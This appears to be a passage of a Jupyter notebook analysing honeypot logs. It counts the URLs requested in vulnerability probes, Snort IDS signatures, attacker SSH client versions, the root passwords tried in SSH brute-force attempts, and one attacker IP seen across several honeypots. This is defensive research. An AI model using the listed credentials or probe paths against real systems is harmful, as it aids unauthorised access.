TZCX2J7KaU/oUy8+SB0MiosRKq5Co12vg\n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\n796Nq1evRrZfs2YNXnzxRSxYsAC6rqO6uvq676GqKj73uc/hd7/7HcrLyyOjiXRdh8/ni2zX3d09\n5b+nvb09Ztrj8QAIBUB333037rnnnrj7JvsFtYmIiIhobCw3IyIimoDBgKa/vx9HjhzB888/j9ra\n2kiJmdfrRVZWFlRVRUNDAw4ePBgTntTU1ECSJOzZswe1tbXjft/a2loEAgH861//irze3LlzcfHi\nRTQ1NcHv92Pfvn2jtnUi3nzzTXR2dqKvrw+vvvoqVq5cCQBYu3Yt/va3v6GhoQFCCHi9Xhw9enTE\nSCQiIiIiSl0cSURERDQBW7duhaIokCQJs2fPxvr16/HJT34ysv5rX/sa9uzZg127dmHhwoVYsWIF\n+vv7Y16jtrYW+/btw2OPPTbu95VlGRs2bMBzzz0XWTZz5kx89rOfxU9+8hPouo4vfOELeOuttyLr\nJUmKCajGM9Jn9erV+OlPfxq5u9ngyKH58+fjoYcews6dO9HS0gKXy4UFCxbgxhtvHPffQERERETJ\nTRKT+ZmRiIiIJm3//v1466238KMf/cjuphARERERRbDcjIiIaBr5fD68+eabuP322+1uChERERFR\nDIZERERE0+T48eN44IEHkJ+fj9WrV9vdHCIiIiKiGCw3IyIiIiIiIiIijiQiIiIiIiIiIiKGRERE\nREREREREBIZEREREREREREQEhkRERERERERERASGREREREREREREBOD/A+Yp63UB1zC8AAAAAElF\nTkSuQmCC\n",
       "text": [
        "<matplotlib.figure.Figure at 0x108ac2ad0>"
       ]
      }
     ],
     "prompt_number": 44
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "URL's being requested - giving us an idea of the types of vulnerabilities being scanned for."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['request_url'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 31,
       "text": [
        "/                                       32\n",
        "/tmUnblock.cgi                           6\n",
        "//pma/scripts/setup.php                  3\n",
        "/vtigercrm/test/upload/vtigercrm.txt     2\n",
        "HTTP/1.1                                 2\n",
        "/cgi-bin/php5                            2\n",
        "/phppath/php                             2\n",
        "/cgi-bin/test-cgi                        2\n",
        "/manager/html                            2\n",
        "//phpmyadmin/scripts/setup.php           1\n",
        "/level/16/exec/show/config               1\n",
        "/etc/lib/pChart2/examples/index.php      1\n",
        "/cgi-sys/entropysearch.cgi               1\n",
        "/cgi-sys/php5                            1\n",
        "/cgi-bin/test.cgi                        1\n",
        "...\n",
        "/downloader/                        1\n",
        "//php-my-admin/scripts/setup.php    1\n",
        "/cgi-bin/forum.cgi                  1\n",
        "/cgi-bin/formmail.cgi               1\n",
        "/cgi-bin/test                       1\n",
        "/cgi-bin/contact.cgi                1\n",
        "/cgi-bin/hello.cgi                  1\n",
        "/user/soapCaller.bs                 1\n",
        "/fcgi-bin/php                       1\n",
        "/cgi-sys/defaultwebpage.cgi         1\n",
        "/cgi-bin/php4                       1\n",
        "//wp-login.php                      1\n",
        "/cgi-bin/reboot.cgi                 1\n",
        "//MyAdmin/scripts/setup.php         1\n",
        "/webdav/                            1\n",
        "Length: 62, dtype: int64"
       ]
      }
     ],
     "prompt_number": 31
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Signatures most detected by the Snort IDS."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "snort_df['signature'].value_counts()[:20]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 32,
       "text": [
        "ET DROP Dshield Block Listed Source group 1                     220\n",
        "ET SCAN SipCLI VOIP Scan                                        214\n",
        "ET POLICY Suspicious inbound to MSSQL port 1433                 152\n",
        "ET SCAN Potential SSH Scan                                       88\n",
        "ET POLICY Suspicious inbound to mySQL port 3306                  53\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 29     28\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 18     22\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 35     22\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 25     19\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 8     17\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 28     17\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 17     15\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 15     14\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 23     13\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 22     10\n",
        "ET SCAN Sipvicious Scan                                           9\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 19      8\n",
        "ET SCAN Sipvicious User-Agent Detected (friendly-scanner)         8\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 24      8\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 27      8\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 32
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "SSH versions most used to attack Kippo honeypot."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "kippo_df['version'].value_counts()[:10]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 33,
       "text": [
        "SSH-2.0-libssh2_1.4.1         43\n",
        "SSH-2.0-libssh-0.1            30\n",
        "SSH-2.0-PUTTY                  7\n",
        "SSH-2.0-libssh2_1.4.3          5\n",
        "SSH-2.0-libssh-0.6.0           4\n",
        "SSH-2.0-libssh-0.5.2           2\n",
        "SSH-2.0-PuTTY_Release_0.63     1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 33
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Credentials most used to brute-force SSH login on Kippo honeypot"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "kippo_df['loggedin'].value_counts()[:10]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 45,
       "text": [
        "[root, 123456789]      32\n",
        "[root, 12345]          10\n",
        "[root, admin]           3\n",
        "[root, root123]         3\n",
        "[root, r00t]            2\n",
        "[root, password]        2\n",
        "[root, ubuntu13svm]     2\n",
        "[root, chesnokov]       2\n",
        "[root, 123]             2\n",
        "[root, jeanpierre]      2\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 45
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Protocols most attacked on the Dionaea honeypot."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "dionaea_df['connection_protocol'].value_counts().head(20)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 34,
       "text": [
        "smbd            1682\n",
        "SipSession      1007\n",
        "SipCall          242\n",
        "mssqld            73\n",
        "mysqld            23\n",
        "ftpd              12\n",
        "RtpUdpStream       7\n",
        "epmapper           5\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 34
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "IP addresses which were detected across multiple honeypots indicating an Internet wide scan/attack."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "honeymap = {}\n",
      "for ident in set(attacker_df.ident.tolist()):\n",
      "    honeymap[ident] = {}\n",
      "    honeymap[ident]['channel'] = list(set(attacker_df[attacker_df['ident'] == ident]['channel'].tolist()))[0]\n",
      "    honeymap[ident]['ip'] = list(set(attacker_df[attacker_df['ident'] == ident]['allattackerIP'].tolist()))[0]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 46
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "for ip in set(attacker_df['allattackerIP'].tolist()):\n",
      "    ids = set(attacker_df[attacker_df['allattackerIP'] == ip]['ident'].tolist())\n",
      "    if len(ids) > 1:\n",
      "        temp = []\n",
      "        for i in ids:\n",
      "            temp.append(honeymap[i]['ip'] + ':' + honeymap[i]['channel'])\n",
      "        temp = set(temp)\n",
      "        if len(temp) > 3:\n",
      "            print \"%s seen across %d honeypots (%s) with %d connections\" %(ip, len(temp), \", \".join(temp), attacker_df[attacker_df['allattackerIP'] == ip].shape[0])"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 47
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "#88.150.240.125\n",
      "from matplotlib import pyplot as plt\n",
      "\n",
      "fig = plt.figure(figsize=(16, 5))\n",
      "\n",
      "for ident in attacker_df[attacker_df.allattackerIP == '88.150.240.125']['ident'].value_counts().index:\n",
      "    channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]\n",
      "    a =  channel.split('.')[0]\n",
      "    plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample(\"D\", how='count'), label=a, linewidth=4)\n",
      "plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    \n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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S9hCnhTUlIhIy9AbrOSsXVq5zQURERERERBTgatWAM2XKFNSvXx8nTpzAlClT0LRpU8v7\nInLG86u/n52djexsx8yBMWPGIC4urraZg5qqojBrDZznscQMGIqoav9+dPgonFjyBfTE8crC6VOI\nXLcU0aP+13dh/VhkZCSfKfIoPlPkaXymyJP4PJGn8Zkib8jIyKj6544dO6Jjx442piF/V6vBivr1\n6wMA6tWrh169emHv3r2Ij4/H8ePHkZCQgGPHjiE+Ph4AkJiYiLy8vKpz8/LykJiYaLmeuwezsLDw\ngn6QYKE//QAzZ7+jEBaGks49Ueru389V1wGz/1n18vTCWSjtfzUkuo4Pkvq3uLg4PlPkUXymyNP4\nTJEn8XkiT+MzRZ4WFxeHMWPG2B2DAshZ20BKSkpw6tQpAMDp06exbds2XHzxxUhJScGqVasAAKtX\nr0bPnj0BACkpKVi3bh3Ky8tx+PBh5Obmok2bNt77CYJM9YU10fFySFy822MlbThQJ9ZROFkEXbXY\ne+GIiIiIiIiIfOCsMysKCgrwyiuvAABM00S/fv3QtWtXtG7dGtOmTcPKlSurti4FgGbNmqFv376Y\nOHEiwsLCcMcdd5y1TYQqqVkB3bDGUpM+aTUeLzF1IFdeC/3Xp45rLJ0LHXgNJCrKWzGJiIiIiIiI\nvEq0+jYfNjl48KDdEWynO7+FOe1JRyE6Bsar/zzjwIMWF8J8ZDxQcqqqJv9zJ4wrr/VmVL/HqYvk\naXymyNP4TJEn8XkiT+MzRZ7WpEmTsx9E5KTWW5eS9+n6VZbX0r3vWWdISGwcZOBw63WWzIaWlXk6\nHhERERE